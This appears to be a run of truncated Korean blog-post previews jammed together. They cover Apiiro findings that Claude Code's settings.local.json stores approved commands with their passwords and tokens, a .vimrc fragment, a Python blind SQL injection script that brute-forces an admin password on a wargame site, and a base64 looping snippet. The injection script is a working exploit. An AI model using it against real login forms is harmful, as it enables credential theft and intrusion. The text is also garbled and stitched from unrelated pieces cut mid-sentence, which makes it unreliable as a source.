터미널에서 Claude Code가 psql -h db.internal -U admin -p 5432 ... 같은 명령을 실행해도 되냐고 물어봄. 같은 질문이 세 번째쯤 나오면 대부분 귀찮아서 "Yes, and don't ask again"을 누름. 그 순간 그 명령이 비밀번호까지 포함된 문자열 그대로 프로젝트 폴더 안 파일에 저장된다는 건 신경 쓰지 않게 됨. 이번에 Apiiro가 공개 GitHub를 조사해서 바로 이 파일이 대량으로 공개돼 있다는 걸 보여줬음.핵심 요약Claude Code에서 "다시 묻지 않기"로 승인한 명령은 .claude/settings.local.json의 allow 규칙에 원문 그대로 저장되고, 명령에 들어 있던 비밀번호·토큰도 함께 남음.Apiiro가 공개 GitHub에서 이 ..
vi ~/.vimrc 2 || has("gui_running") syntax on set hlsearchendif " Only do this part when compiled with support for autocommands.if has("autocmd") " Enable file type detection. " Use the default filetype settings, so that mail gets 'tw' set to 72, " 'cindent' is on in C files, etc. " Also load indent files, to automatically do language-dependent indenting. filetype plugin indent on " Put these in..
#http2,1)%3C%27N%27)--+&pw=adminimport urllibimport urllib2 ans =""ans2="" for i in range(1,11): for j in range(33,127) : url1 = "http://codeshell.kr/probs/unsolvable/index.php?Username=admin'+and(substring(Password," url1=url1+str(i)+",1)='" url1=url1+chr(j)+"')--+&pw=1" try: #print url1; req = urllib2.Request(url1) print 1111 req.add_header('cookie',"PHPSESSID=") res = urllib2.urlopen(req) dat..
import base64 str64=""str64=base64.b64encode(str64.encode('ascii'))for i in range(1,11): str64=base64.encodestring(str64) str64=str64.decode("utf-8")print(str64.replace("\n",""))